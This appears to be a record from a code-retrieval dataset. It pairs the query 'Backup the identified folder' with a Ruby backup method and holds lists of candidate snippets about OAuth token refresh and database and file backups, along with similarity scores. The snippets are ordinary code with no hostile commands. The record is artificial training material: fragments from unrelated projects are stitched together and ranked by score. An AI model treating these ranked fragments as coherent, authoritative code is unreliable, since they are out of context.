}\n @response = ActiveSupport::JSON.decode(RestClient.post \"https://accounts.google.com/o/oauth2/token\", data)\n if @response[\"access_token\"].present?\n self.gplus_token = @response[\"access_token\"]\n self.gplus_token_expires_at = @response[\"expires_in\"]\n self.save\n end\n end\n end", "def authorize_token(auth_token)\n cache_token(auth_token)\n info(true) # force a refresh\n\n authorized?\n end", "def refresh_access_token\n return false unless @oauth_access_token.expired?\n\n @oauth_access_token = @oauth_access_token.refresh!\n write_attribute :access_token, @oauth_access_token.token\n write_attribute :access_token_expires_at, @oauth_access_token.expires_at\n true\n end", "def auth_token\n return regenerate_auth_token if expired?\n\n authentication.auth_token\n end", "def refresh!\n now = Time.now\n raise RefreshTokenExpired if refresh_token_expires_at&.<= now\n\n data = refresh_token_request!\n\n @access_token = data[\"access_token\"]\n @access_token_expires_at = (now + data[\"expires_in\"])\n\n on_refresh&.call(@access_token, @access_token_expires_at)\n end", "def fb_access_token_expired\n self.access_token = nil\n save!\n end", "def expire_tokens!\n update_tokens(nil)\n end", "def refresh_token\n get_comm_token if Time.now.to_i - @comm_token_ttl > TOKEN_TTL\n end", "def refresh_token\n get_comm_token if Time.now.to_i - @comm_token_ttl > TOKEN_TTL\n end", "def refresh_if_near_expiration; end", "def initialize(token)\n @token = token\n if Time.now.to_i > @token.get_info['token_expiry']\n self.refresh\n end\n end", "def refresh_token\n QueryHelper::HeaderValidationChecker.new(request.headers, 'RefreshToken', 'Authorization').check_null_headers\n TokenHelper.check_blacklist(request.headers['RefreshToken'])\n # access token validation check\n payload = TokenHelper.jwt_decode(request.headers['Authorization'])\n unless payload && !payload['refresh']\n raise Exceptions::AuthenticationError.new(\"invalid access_token\")\n end\n # refresh_token validation and expiry check\n payload = TokenHelper.jwt_decode(request.headers['RefreshToken'])\n unless payload && payload['refresh'] && payload['expiry_time'] > Time.now\n raise Exceptions::AuthenticationError.new(\"invalid refresh_token\")\n end\n # user validation\n user = User.find(payload['user_id'])\n unless user\n Rails.logger.error \"no user found with the given user_id -- #{payload['user_id']}\"\n raise Exceptions::AuthenticationError.new(\"invalid token\")\n end\n res = user.generate_auth_token\n # Adding both the tokens to blacklist in redis, disabling its use again\n TokenHelper.add_blacklist(request.headers['Authorization'],\"access\")\n TokenHelper.add_blacklist(request.headers['RefreshToken'],\"refresh\")\n render json: res, status: 200, scope: nil\n rescue Exceptions::AuthenticationError, Exceptions::InvalidHeaderError, Exceptions::WrongHeaderError, JWT::DecodeError, JWT::VerificationError => e\n render json: {error: e}, status: 401, scope: nil\n end", "def update_token\n\trequire 'date'\n\ttil = Time.at(settings.exp) - Time.now\n\tleft = (til/60).to_i\n\tp left\n\tif left < 5\n\t\tres = RestClient.post( \"https://auth.exacttargetapis.com/v1/requestToken\",\n\t\t\t\t\t\t\t {\n\t\t\t\t\t\t\t\t:clientId => settings.clientId,\n\t\t\t\t\t\t\t\t:clientSecret => settings.clientSecret,\n\t\t\t\t\t\t\t\t:refreshToken => settings.refreshToken,\n\t\t\t\t\t\t\t\t:accessType => \"offline\"\n\t\t\t\t\t\t\t })\n\t\t@res = JSON.parse(res)\n\t\tsettings.oauthToken = @res[\"accessToken\"]\n\t\tsettings.exp = Time.now + @res[\"expiresIn\"]\n\t\tsettings.refreshToken = @res[\"refreshToken\"]\n\tend\t\nend", "def valid_token?\r\n token = ::AuthToken.where(user_id: decoded_auth_token[:user_id]).newer.first\r\n token&.token == auth_token && token.expire_at >= Time.now if token.present?\r\n end", "def refresh_access_token!\n self.save! if refresh_access_token\n end", "def valid_token\n return access_token if access_token && !expiring?\n return access_token if request_access_token\n raise 'No valid access token.'\n end", "def verify_auth_token(authToken)\n if authToken.nil? || !authToken.instance_of?(CopyleaksAuthToken)\n raise 'authToken is Invalid, must be instance of CopyleaksAuthToken'\n end\n\n _time = DateTime.now\n _expiresTime = DateTime.parse(authToken.expires)\n\n if _expiresTime <= _time\n raise AuthExipredException.new.reason # expired\n end\n end", "def refresh(response)\n @access_token = response[:access_token]\n @expires_at = Time.now + response[:expires_in]\n end", "def access_token_was_refreshed; end", "def is_valid?\n \tDateTime.now < self.expires_at\n end", "def expired?\n @token.expired?(@expires_in_buffer)\n end", "def access_token_expires\n return nil unless (temp_access_token_expires = read_attribute(:access_token_expires))\n # logger.debug2 \"temp_access_token_expires = #{temp_access_token_expires}\"\n encrypt_remove_pre_and_postfix(temp_access_token_expires, 'access_token_expires', 44).to_i\n end", "def access_token_expires\n return nil unless (temp_access_token_expires = read_attribute(:access_token_expires))\n # logger.debug2 \"temp_access_token_expires = #{temp_access_token_expires}\"\n encrypt_remove_pre_and_postfix(temp_access_token_expires, 'access_token_expires', 44).to_i\n end", "def renew_access_token!\n @access_token = nil\n true\n end", "def refresh_expired?\n can_refresh_expire? && @refresh_expiry < Time.now.to_i\n end", "def refresh!\n response = request_token_from_google\n data = JSON.parse(response.body)\n if data[\"access_token\"].present?\n update_attributes(access_token: data['access_token'], expires_at: Time.now + (data['expires_in'].to_i).seconds)\n else\n puts data[\"error_description\"]\n end\n end", "def valid_token\n access_token = find_or_create_doorkeeper_access_token\n create_doorkeeper_access_token if access_token.expired? || access_token.revoked?\n access_token\n end", "def expire!\n headers['Age'] = max_age.to_s if fresh?\n end", "def is_valid?\n DateTime.now < self.expires_at\n end", "def validate_token(provided_token, extend_expire = true)\n clear_expired_tokens\n token_object = access_tokens.find_by_token(provided_token)\n return false if !token_object\n if extend_expire\n token_object.update_attribute(:token_expire, Time.now + DEFAULT_TOKEN_EXPIRE)\n end\n true\n end", "def test_refresh_access_token\n expires_at = @fire_cloud_client.expires_at\n assert !@fire_cloud_client.access_token_expired?, 'Token should not be expired for new clients'\n @fire_cloud_client.refresh_access_token!\n assert @fire_cloud_client.expires_at > expires_at, \"Expiration date did not update, #{@fire_cloud_client.expires_at} is not greater than #{expires_at}\"\n end", "def verify_bearer\n if expired?(@bearer_info[:expire_time])\n @bearer_info = new_bearer(@bearer_info)\n @bearer_token = @bearer_info[:token]\n end\n end", "def expired?; end", "def access_expired? (time = Time.current)\n access_expires_at && time > access_expires_at\n end", "def needs_refresh?\n !respond_to?(:created_at) || ((Time.at(created_at) + expires_in.seconds) < Time.current - 1.day)\n end", "def refresh_oauth2_token!\n ensure_oauth2_token(true)\n save!\n end", "def regenerate_auth_token!\n generate_auth_token\n set_auth_token_expiry\n\n save\n end", "def expired?\n return true if authentication.nil?\n\n authentication.expires_at < 2.days.from_now\n end", "def renew\n req_body = { grant_type: 'refresh_token', refresh_token: @token.refresh_token }\n\n response = JSON.parse(request_token(req_body).body)\n\n @token.update!(response['access_token'], response['expires_in'], response['refresh_token'])\n\n save\n rescue StandardError => e\n puts \"Unable to refresh token\\n#{e.message}\"\n end", "def regenerate_auth_token\n new_token = oauth.exchange_access_token_info(authentication.auth_token)\n\n # Save the new token and its expiry over the old one\n authentication.update_attributes!(\n auth_token: new_token['access_token'],\n last_expires_at: authentication.expires_at,\n expires_at: Time.now + new_token['expires_in'].to_i,\n )\n\n authentication.auth_token\n end", "def valid_token\n unless !value_changed? || token_data(refresh: true).is_valid\n errors.add(\n :value,\n I18n.translate(\n 'fbsync.activerecord.errors.token.invalid_token',\n expires_at: I18n.localize(token_data.expires_at)\n )\n )\n end\n end", "def check_expiration\n if @user.password_reset_expired?\n render json: {\n errors: {\n link: 'Password reset has expired.',\n },\n },\n status: 401\n end\n end", "def refresh_token\n end", "def retrieve_missing_token_info\n response = JSON.parse @token.get('/oauth/token/info').body\n\n if response['error']\n response['hint'] = 'Reauthorization may be required.'\n @token = response\n else\n time_left = response['expires_in_seconds']\n @token.instance_variable_set '@expires_at', (Time.now.to_i + time_left)\n end\n end", "def getExpiration; @expires; end", "def password_reset_token_expired?\n sent_reset_at < 1.hour.ago\n end", "def check_expiration\n return unless @user.password_reset_expired?\n\n render json: {\n success: false,\n message: \"Reset password token has expired.\"\n }, status: :bad_request\n end", "def activation_token_expired?\n activation_sent_at < 7.days.ago\n end", "def expired?\n return false if @expires_in.nil?\n @start_time + Rational(@expires_in - @refresh_timeout, 86400) < DateTime.now\n end", "def ensure_auth_token!\n reset_auth_token! if auth_token.blank?\n end", "def check_token\n # Return if there are no tokens\n return if session['oauth_token'].nil?\n\n # If the token is older than two weeks, delete it\n if session['created_at'] < (Time.zone.now - 2.weeks).to_i\n clear_credentials\n return\n end\n\n # Make API request to renew the token\n url = URI('https://login.zype.com/oauth/token')\n raw_response = make_login_request(url, refresh_token: session['refresh_token'], grant_type: 'refresh_token')\n\n # Check if response is successful\n unless raw_response.is_a?(Net::HTTPSuccess)\n clear_credentials\n return\n end\n\n # Try to parse the response\n parsed_response = parse_response(raw_response, 'check_login')\n\n # If the response cannot be parsed, there is something wrong, but the parsing\n # functions logs the error, shows an alert to the user and redirects\n unless parsed_response\n clear_credentials\n return\n end\n\n # Set tokens on session\n # TO DO: Persist it, maybe in Redis\n session['oauth_token'] = parsed_response['access_token']\n session['refresh_token'] = parsed_response['refresh_token']\n end" ]
[ "0.80803216", "0.7768838", "0.76151675", "0.7581592", "0.7520131", "0.7500074", "0.7500074", "0.74959964", "0.7469917", "0.74528575", "0.74508256", "0.7433678", "0.7428557", "0.74155843", "0.7379257", "0.7344608", "0.7322231", "0.7320728", "0.7257423", "0.72560066", "0.7251648", "0.72482914", "0.72313994", "0.72132826", "0.72083473", "0.72073764", "0.71856284", "0.71263045", "0.7076782", "0.7070018", "0.70602125", "0.70383674", "0.7035865", "0.7019727", "0.69920146", "0.69891274", "0.6963337", "0.6959222", "0.6930066", "0.6926057", "0.6926057", "0.69249284", "0.6920202", "0.69181806", "0.69063973", "0.68885124", "0.68699473", "0.68561244", "0.68407625", "0.68407625", "0.6836616", "0.6830232", "0.6819246", "0.68180823", "0.6810156", "0.6792388", "0.6774119", "0.6765042", "0.6765042", "0.6757453", "0.6757439", "0.67476076", "0.67396635", "0.6737135", "0.6735961", "0.6714552", "0.6698917", "0.66959876", "0.6675266", "0.666638", "0.6659999", "0.6659416", "0.6659416", "0.66437113", "0.6632012", "0.6628689", "0.6625609", "0.6617293", "0.6616919", "0.66142106", "0.6609134", "0.6594973", "0.65922797", "0.65771085", "0.65766245", "0.65731996", "0.65727574", "0.65716887", "0.6570498", "0.6563504", "0.6561134", "0.65584046", "0.65528333", "0.65510374", "0.6547934", "0.65423703", "0.6540292", "0.653326", "0.6531182", "0.6521841", "0.6517621" ]
0.0
-1
Backup the identified folder
def backup_folder(folder_id, path) backup_folder_rec folder_id, path puts 'Progress:' @threads.each_with_index do |thread, i| # <- Finish all jobs thread.join print '#' if i % @threads.size / 10 == 1 end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def backup_dir\n @backup_dir ||= create_backup_dir\n end", "def backup\n self.keep_backup && !File.exists?( backup_path ) && FileUtils.cp( self.resource.path, backup_path )\n end", "def backup_file folder,file\n @manager ||= Conf::LocalFileManager.new\n newp = File.join(Conf::directories.backup,@curr_source.name.to_s,folder)\n file.zip! unless file.zip?\n @manager.move_files [file],newp\n end", "def backup\n inexistent_files = check_for_inexistent_files\n unless inexistent_files.empty?\n STDERR.puts \"Cannot backup inexistent files\"\n STDERR.puts inexistent_files.join(\" \")\n exit 1\n end\n\n FileUtils.mkdir_p @backup_folder unless File.exists? @backup_folder\n\n if @no_compress \n copy_files \n delete_uncompressed_backups\n else\n compress_files_and_copy\n delete_compressed_backups\n end\n\n end", "def backup2Drive(src,conf)\n dest = conf[:backupDrive]\n dest = dest + \"/\" unless dest [-1] =~ /[\\/\\\\]/\n dest = dest + src\n puts src\n puts dest\n FileUtils.mkdir_p(File.dirname(dest))\n FileUtils.cp(src, dest)\n puts aktTime()+\" archive copied\"\n cleanUp(conf) if conf[:generations]\n \nend", "def perform_backup\n \n add_memories_to_dropbox! if has_dropbox?\n\n # Clone the repo incase something is writing to it while we are backing up\n run \"cd #{@home} && git clone --bare #{@repo} #{@repo}.mirror\"\n output=run \"backup perform --trigger=daily_backup --log-path #{@dirs[:logs ]}\"\n run \"cd #{@home} && rm -fr #{@repo}.mirror\"\n \n get_timestamp(output)\n end", "def backup\n # solve override problem\n if backup_exist? && !@opt[:bkp_args][:quiet]\n while true\n print \"Already have backup in #{@cfg[:backup]},override?(y/n)\"\n opt = gets\n case opt\n when /^y/i\n break\n when /^n/i\n return\n else\n next\n end\n end\n end\n \n # do backup\n FileUtils.mkdir_p @cfg[:backup] unless File.directory? @cfg[:backup]\n CommonUtils.copy_files @cfg[:local_files], File.join(__dir__, @cfg[:backup]) do |src, dest|\n @logger.debug \"Copying #{src} to #{dest}\"\n puts \"Backup: #{File.basename src}\" unless @opt[:bkp_args][:quiet]\n end\n @logger.debug('Backup completed')\n puts \"Backup completed, saved in: #{@cfg[:backup]}\" unless @opt[:bkp_args][:quiet]\n end", "def backup!(file=nil)\n file = file || FILENAME\n dir = root + BACKUP_DIRECTORY\n FileUtils.mkdir(dir.dirname) unless dir.dirname.directory?\n FileUtils.mkdir(dir) unless dir.directory?\n save!(dir + FILENAME)\n end", "def system_backup\n\n\n end", "def backup(path, options={})\n backup_path = \"#{path}.bak\"\n if options[:mv]\n mv_f path, backup_path\n else\n cp_f path, backup_path\n end\n \n chmod 644, backup_path\n\nend", "def backupwallet(destination)\n coind.backupwallet destination\n end", "def backup \n begin\n check_if_db_exists\n is_allowed = @conn.exec(\"select datallowconn from pg_catalog.pg_database where datname='#{@options[:database]}'\")[0]['datallowconn']\n if is_allowed == 'f'\n # unquiece temporarily\n set_dataallowcon_to true\n end\n\n # Check to see if the directory for backups exists and if not, create it with parents\n unless File.exist?(@options[:bkdir])\n FileUtils.mkdir_p @options[:bkdir]\n end\n filename = \"postgresbk_#{@options[:database]}_#{Time.new.strftime(\"%m%d%y%H%M%S\")}.dump\"\n\n # The below system call assumes you have passwordless access as the user passed into the executable tool\n # either due to ~/.pgpass or pg_hba.conf has your user as a 'trust' auth method\n `pg_dump -U #{@options[:user]} #{@options[:database]} -F c -f #{@options[:bkdir]}/#{filename}`\n\n rescue Exception => e\n raise e\n ensure\n if is_allowed == 'f'\n # re quiesce \n set_dataallowcon_to false\n end\n end\n end", "def save_backup_on_dup\n if self.duplicated_from && self.duplicated_from.restorable? && self.keep_backup\n FileUtils.mkdir_p( File.dirname( self.backup_path ))\n FileUtils.cp( self.duplicated_from.backup_path, self.backup_path )\n end\n end", "def backup(dest_dir)\n logger.info \"Dumping MySQL#{db.db_and_table_names}\"\n @db.backup dest_dir\n end", "def dump\n FileUtils.rm_rf(backup_builds_dir)\n # Ensure the parent dir of backup_builds_dir exists\n FileUtils.mkdir_p(Gitlab.config.backup.path)\n # Fail if somebody raced to create backup_builds_dir before us\n FileUtils.mkdir(backup_builds_dir, mode: 0700)\n FileUtils.cp_r(app_builds_dir, backup_dir)\n end", "def backup!(file=nil)\n file = file || FILENAME\n dir = root + BACKUP_DIRECTORY\n FileUtils.mkdir(dir.dirname) unless dir.dirname.directory?\n FileUtils.mkdir(dir) unless dir.directory?\n save!(dir + DOTRUBY_FILENAME)\n end", "def backupwallet(destination)\n request(:backupwallet, destination)\n end", "def backup\n FileUtils.cp options[:file], backup_file if File.file? options[:file]\n end", "def setup_backup_directory(folder_prefix)\n tmp_path = \"tmp\"\n backups_folder = \"backups\"\n backups_path = \"#{tmp_path}/#{backups_folder}\"\n dir_path = \"#{backups_path}/#{Time.now.strftime(\"#{folder_prefix}-%F-%H%M%S\")}\"\n\n Dir.mkdir(tmp_path) unless File::directory?(tmp_path)\n Dir.mkdir(backups_path) unless File::directory?(backups_path)\n Dir.mkdir(dir_path) unless File::directory?(dir_path)\n\n dir_path\n end", "def create_backup_path\n if File.exist?(@new_path)\n if !File.directory?(@new_path)\n #TODO: error properly\n abort\n end\n else\n FileUtils.mkdir_p @new_path\n end\n end", "def backup_file\n \"#{@file}.bak\"\n end", "def backup\n #EternosBackup::BackupJobPublisher.add_source(self)\n end", "def backup(id)\n server = @connection.servers.get(id)\n ssh(server,'~/backup.sh')\n server.scp_download('backup/current.tar.gz','backup.tar.gz')\n end", "def backup(from, to)\n return unless File.exists? from\n FileUtils.mkdir_p(File.dirname(to))\n File.rename(from, to)\nend", "def backup_folder_rec(folder_id, path)\n results = @client.execute!(\n api_method: @drive_api.files.list,\n parameters: { q: \"'#{folder_id}' in parents\" })\n children = results.data.items\n # puts \"Children: #{children.size}\"\n # puts 'No Children found' if children.empty?\n download_children children, path\n end", "def backup(job)\n path = @filesystem.get_tmp_path\n s3 = @storage.parse_location(job['location'])\n db = @db.get_opts(job['db'])\n \n Mongolicious.logger.info(\"Starting job for #{db[:host]}:#{db[:port]}/#{db[:db]}\")\n\n @db.dump(db, path)\n @filesystem.compress(path) \n \n key = \"#{s3[:prefix]}_#{Time.now.strftime('%m%d%Y_%H%M%S')}.tar.bz2\"\n @storage.upload(s3[:bucket], key, path)\n \n @filesystem.cleanup(path)\n @storage.cleanup(s3[:bucket], s3[:prefix], job['versions'])\n \n Mongolicious.logger.info(\"Finishing job for #{db[:host]}:#{db[:port]}/#{db[:db]}\") \n end", "def backup(path_to_backup_file) \n logger.info \"Uploading backup to FTP: #{worker.user_host_and_dir}\"\n @worker.connect_and_put_file path_to_backup_file\n end", "def backup!\n return false unless File.exists?(app_dest) && File.exists?(prefs_dest)\n\n puts \" application: #{app_dest.inspect}\"\n FileUtils.rm_r(app_bak, secure: true) if File.exists?(app_bak)\n # FileUtils.cp_r(app_dest, app_bak)\n # the call to `FileUtils` was not copying the application icon, so I'm using\n # a call to `system` to properly copy application directories\n system(%Q/cp -r \"#{app_dest}\" \"#{app_bak}\"/)\n\n puts \" preferences: #{prefs_dest.inspect}\"\n FileUtils.rm_r(prefs_bak, secure: true) if File.exists?(prefs_bak)\n FileUtils.cp(prefs_dest, prefs_bak)\n\n true\n end", "def backupwallet(destination)\n @api.request 'backupwallet', destination\n end", "def dump(path, backup_id)\n raise NotImplementedError\n end", "def local_backup_path\n local_path\n end", "def do_backup(filename,backup_folder,rulename)\n if FileTest.file?(filename)\n if FileTest.file?(File.join(backup_folder,filename))\n puts \"!!! backupfile already exists, please choose another backup folder, file: #{File.join(backup_folder,filename)}\"\n exit\n end\n backup_rule_folder = File.join(backup_folder,rulename)\n if !FileTest.directory?(backup_rule_folder)\n `mkdir #{backup_rule_folder}`\n end\n `cp #{filename} #{backup_rule_folder}/`\n # TODO check return value\n else\n puts \"!!! do_backup file does not exists: #{filename}\"\n exit\n end\nend", "def backup account\n backup_file File.join(@ssh_home, @ssh_id), File.join(@ssh_home, account + \".identity\")\n backup_file File.join(@ssh_home, @ssh_id + \".pub\"), File.join(@ssh_home, account + \".identity.pub\")\n @shell.say \"SSH identity backed up to account: #{account}.\"\n end", "def backup_file\n \"#{options[:file]}.bak\"\n end", "def backup(file_path)\n file_path = clean_path(file_path)\n\n begin\n dest_path = file_path\n dest_path = '/' + @namespace + file_path if @namespace\n dest_path = @repository_path + dest_path\n\n dirname = File.dirname(dest_path)\n\n # Make sure the path exists in the repo\n if !File.exists?(dirname)\n FileUtils.mkdir_p(dirname)\n end\n\n # Copy the file(s) to the repo\n if File.exists?(file_path)\n # Make sure we only copy the directory contents,\n # not the directory itself.\n if File.directory?(file_path)\n file_path += '/.'\n end\n\n # We pass remove_destination to avoid issues with symlinks\n FileUtils.cp_r file_path, dest_path, :remove_destination => true\n else\n puts \"ERROR: '#{file_path}' doesn't seem to exist.\"\n end\n rescue Errno::EACCES\n puts \"ERROR: '#{file_path}' doesn't seem to be readable and/or writable by this user.\"\n end\n end", "def backup\n\t\tunless (@options && @options[:path] && @options[:dataset])\n\t\t\traise OptionParser::InvalidArgument, \"Missing arguments for 'backup'.\"\n\t\tend\n\t\t# Only attempt backup if the service is running\n\t\tstate = false\n\t\tself.launch(\"/usr/sbin/serveradmin status postgres\") do |output|\n\t\t\tstate = ((/RUNNING/ =~ output) != nil)\n\t\tend\n\t\torig_state = state\n\t\t$log.debug(\"@options = #{@options.inspect}\")\n\t\tarchive_dir = @options[:path]\n\t\tunless (archive_dir[0] == ?/)\n\t\t\traise OptionParser::InvalidArgument, \"Paths must be absolute.\"\n\t\tend\n\t\twhat = @options[:dataset]\n\t\tunless self.class::DATASETS.include?(what)\n\t\t\traise OptionParser::InvalidArgument, \"Unknown data set '#{@options[:dataset]}' specified.\"\n\t\tend\n\t\t# The passed :archive_dir and :what are ignored because the dump is put\n\t\t# on the live data volume\n\t\tarchive_dir = self.backupDir\n\t\tdump_file = \"#{archive_dir}/#{BACKUP_FILE}\"\n\t\tdump_file_uncompressed = \"#{archive_dir}/#{BACKUP_FILE_UNCOMPRESSED}\"\n\t\t# Create the backup directory as necessary.\n\t\tunless File.directory?(archive_dir)\n\t\t\tif File.exists?(archive_dir)\n\t\t\t\t$log.info \"Moving aside #{archive_dir}...\\n\"\n\t\t\t\tFileUtils.mv(archive_dir, archive_dir + \".applesaved\")\n\t\t\tend\n\t\t\t$log.info \"Creating backup directory: #{archive_dir}...\\n\"\n\t\t\tFileUtils.mkdir_p(archive_dir, :mode => 0700)\n\t\t\t# _postgres:_postgres has uid:gid of 216:216\n\t\t\tFile.chown(216, 216, archive_dir)\n\t\tend\n\t\t# Backup only once a day\n\t\tmod_time = File.exists?(dump_file) ? File.mtime(dump_file) : Time.at(0)\n\t\tif (Time.now - mod_time) >= (24 * 60 * 60)\n\t\t\t# Attempt to start the service if needed\n\t\t\tif (! state)\n\t\t\t\tself.launch(\"/usr/sbin/serveradmin start postgres\") do |output|\n\t\t\t\t\tstate = ((/RUNNING/ =~ output) != nil)\n\t\t\t\tend\n\t\t\tend\n\t\t\tif (! state)\n\t\t\t\t$log.info \"PostgreSQL is not running, skipping database backup\"\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\t$log.info \"Creating dump file \\'#{dump_file}\\'...\"\n\t\t\tsystem(\"/usr/bin/sudo -u _postgres /usr/bin/pg_dumpall > #{dump_file_uncompressed.shellescape}\")\n\t\t\tif ($?.exitstatus != 0)\n\t\t\t\t$log.error \"...Backup failed on pg_dumpall, Status=#{$?.exitstatus}\"\n\t\t\telse\n\t\t\t\tsystem(\"/usr/bin/gzip #{dump_file_uncompressed.shellescape}\")\t\t\t\t\n\t\t\t\tif ($?.exitstatus == 0)\n\t\t\t\t\tFile.chmod(0640, dump_file)\n\t\t\t\t\tFile.chown(216, 216, dump_file)\n\t\t\t\t\t$log.info \"...Backup succeeded.\"\n\t\t\t\telse\n\t\t\t\t\t$log.error \"...Backup failed on gzip! Status=#{$?.exitstatus}\"\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t# Restore original service state\n\t\t\tif (! orig_state)\n\t\t\t\t# What if a dependent service was launched while we were backing up? We\n\t\t\t\t# don't want to shut down postgres in that case.\n\t\t\t\twiki_state = false\n\t\t\t\tcalendar_state = false\n\t\t\t\taddressbook_state = false\n\t\t\t\tdevicemgr_state = false\n\t\t\t\tself.launch(\"/usr/sbin/serveradmin status wiki\") do |output|\n\t\t\t\t\twiki_state = ((/RUNNING/ =~ output) != nil)\n\t\t\t\tend\n\t\t\t\tself.launch(\"/usr/sbin/serveradmin status calendar\") do |output|\n\t\t\t\t\tcalendar_state = ((/RUNNING/ =~ output) != nil)\n\t\t\t\tend\n\t\t\t\tself.launch(\"/usr/sbin/serveradmin status addressbook\") do |output|\n\t\t\t\t\taddressbook_state = ((/RUNNING/ =~ output) != nil)\n\t\t\t\tend\n\t\t\t\tself.launch(\"/usr/sbin/serveradmin status devicemgr\") do |output|\n\t\t\t\t\tdevicemgr_state = ((/RUNNING/ =~ output) != nil)\n\t\t\t\tend\n\t\t\t\tif (! (wiki_state || calendar_state || addressbook_state || devicemgr_state))\n\t\t\t\t\tself.launch(\"/usr/sbin/serveradmin stop postgres\")\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\t$log.info \"Dump file is less than 24 hours old; skipping.\"\n\t\tend\n\tend", "def make_backup\n print_title('Data backup')\n\n @backup_type ||= prompt.select('What type of backup do you want?',\n 'Full (redmine root and database)' => :full,\n 'Only database' => :database,\n 'Nothing' => :nothing)\n\n logger.info(\"Backup type: #{@backup_type}\")\n\n # Dangerous option\n if @backup_type == :nothing\n if prompt.yes?('Are you sure you dont want backup?', default: false)\n logger.info('Backup option nothing was confirmed')\n return\n else\n @backup_type = nil\n return make_backup\n end\n end\n\n @backup_root ||= prompt.ask('Where to save backup:', required: true, default: DEFAULT_BACKUP_ROOT)\n @backup_root = File.expand_path(@backup_root)\n\n @backup_dir = File.join(@backup_root, Time.now.strftime('backup_%d%m%Y_%H%M%S'))\n create_dir(@backup_dir)\n\n files_to_backup = []\n Dir.chdir(root) do\n case @backup_type\n when :full\n files_to_backup = Dir.glob(File.join('**', '{*,.*}'))\n end\n end\n\n if files_to_backup.any?\n files_to_backup.delete_if do |path|\n path.start_with?(*BACKUP_EXCLUDE_FILES)\n end\n\n @backup_package = File.join(@backup_dir, 'redmine.zip')\n\n Dir.chdir(root) do\n puts\n puts 'Files backuping'\n Zip::File.open(@backup_package, Zip::File::CREATE) do |zipfile|\n progressbar = TTY::ProgressBar.new(PROGRESSBAR_FORMAT, total: files_to_backup.size, frequency: 2, clear: true)\n\n files_to_backup.each do |entry|\n zipfile.add(entry, entry)\n progressbar.advance(1)\n end\n\n progressbar.finish\n end\n end\n\n puts \"Files backed up on #{@backup_package}\"\n logger.info('Files backed up')\n end\n\n @database = Database.init(self)\n @database.make_backup(@backup_dir)\n\n puts \"Database backed up on #{@database.backup}\"\n logger.info('Database backed up')\n end", "def store_backup\n ret = true\n base = Util.data_path(EMMConfig[\"DATA_BACK_DIR\"])\n $files.each do |f|\n # directory of the file \n # LSMSS10, LSMSS30 , etc\n dir = File.basename(File.expand_path(\"#{f}/..\"))\n back_path = base + \"/\" + dir + \"/\" + File.basename(f)\n cmd = \"mv #{f} #{back_path}\"\n unless system(cmd)\n $stderr.puts \"Move #{cmd} did not work ... Next\" if $opts[:v]\n ret = false\n next\n end\n\n # compress the file\n cmd = EMMConfig[\"COMPRESS\"] + \" #{back_path}\"\n unless system(cmd)\n $stderr.puts \"Compress #{cmd} did not work ... Next\" if $opts[:v]\n ret = false\n next\n end\n end \n ret\nend", "def create_and_copy_backup(backup_options = nil,backup_name = nil)\n\n end", "def backup\n ModelHelper::backup self\n end", "def backupImage\n Find.find(\"./image/\") do |image|\n next unless FileTest.file?(image) && (image =~ /\\.jpg\\Z/ || image =~ /\\.jpeg\\Z/ ||\n image =~ /\\.png\\Z/ || image =~ /\\.gif\\Z/)\n FileUtils.mv(image, \"./bkimage\")\n end\n end", "def backup_data(src_file)\n backup_path = src_file + '.simplib_migration.bak.' + Time.now.strftime('%Y_%m_%d_%s')\n puts %Q(Making backup at #{backup_path})\n FileUtils.cp_r(src_file, backup_path)\nend", "def backup(location)\n switch = SSH::Base.get_instance(location, logger)\n logger.info \"#{switch.class.to_s}: {target: #{switch.hostname}, operation: sync_from_switch_to_serv}\"\n switch.sync_from_switch_to_serv\n logger.info \"#{switch.class.to_s}: {target: #{switch.hostname}, operation: sync_from_switch_to_serv} finished\"\n end", "def backup_location\n @location\n end", "def backup\n return false if !@file || !backup_file\n FileUtils.cp @file, backup_file if File.file? @file\n true\n end", "def backup account\n return unless valid_argument?(account, \"backup\")\n @heroku_credentials.backup account\n @ssh_identity.backup account\n end", "def copy_to_backup\n FileUtils.cp(@original_file_path, @new_file_path)\n end", "def Drillin_win_backup_folder(machineID, folderPath)\n pathArray = folderPath.to_s.split('\\\\')\n pathLength = 0\n folderPathList = \"\"\n find(:xpath, \"//tr[@id='#{machineID}:Folder:']/td[2]/div/span[2]/span\").click\n (pathArray.size-1).times do\n if pathLength == 0\n folderPathList = folderPathList + pathArray[pathLength]\n else\n folderPathList = folderPathList + '\\\\' + pathArray[pathLength]\n end\n find(:xpath, \"//tr[@id='#{machineID}:Folder:#{folderPathList}']/td[2]/div/span[2]/span\").click\n sleep 2\n pathLength += 1\n end\n find(:xpath, \"//tr[@id='#{machineID}:Folder:#{folderPath}']/td/div/span\").click\n sleep 2\n end", "def backup(job)\n write_thread_var :job, job\n write_thread_var :source, job.backup_source\n\n worker = BackupWorker::WorkerFactory.create_worker(workitem.source_name, job)\n\n unless worker.authenticate\n auth_failed worker.errors.to_s\n return false\n end\n\n # We must disable ThinkingSphinx in every thread!\n turn_off_thinking_sphinx\n \n worker.run workitem.options\n\n save_error worker.errors.to_s if worker.errors.any?\n # Return backup success status\n worker.errors.empty?\n end", "def backup!(chroot=nil)\n self.root = chroot if chroot\n return unless stores.any?{ |dir| File.exist?(dir) }\n FileUtils.mkdir_p(cache) unless File.exist?(cache)\n stores.each do |store|\n temp, $DEBUG = $DEBUG, false\n FileUtils.cp_r(store, cache) if File.exist?(store)\n $DEBUG = temp\n end\n return cache\n end", "def restore_directory\n config[\"restore_dir\"] ||= begin\n dir_name = File.join(tmp_dir, backup_name)\n if File.directory?(dir_name)\n # clean restore directory if it exists\n FileUtils.rm_r(Dir.glob(\"#{dir_name}/*\"))\n else\n FileUtils.mkdir_p(dir_name)\n end\n dir_name\n end\n end", "def backup_database\n #todo handle db prefix\n #todo proper error handling\n\n dbuser = @attributes[:dbuser]\n dbhost = @attributes[:dbhost]\n dbpass = @attributes[:dbpass]\n dbname = @attributes[:dbname]\n\n # see https://docs.moodle.org/20/en/Site_backup\n\n cmd = %Q{mysqldump -u #{dbuser} -h'#{dbhost}' -p'#{dbpass}' -C -Q -e --create-options '#{dbname}' | gzip -9 > '#{mk_backup_filename('database')}'}\n system cmd\n\n nil\n end", "def backup \n raise NotImplementedError.new\n end", "def create_backup\n files = []\n if @options.database\n db_backup = MySQLBackup.new(@options.database, \n @options.user,\n @options.password)\n files << db_backup.backup\n end\n \n files << 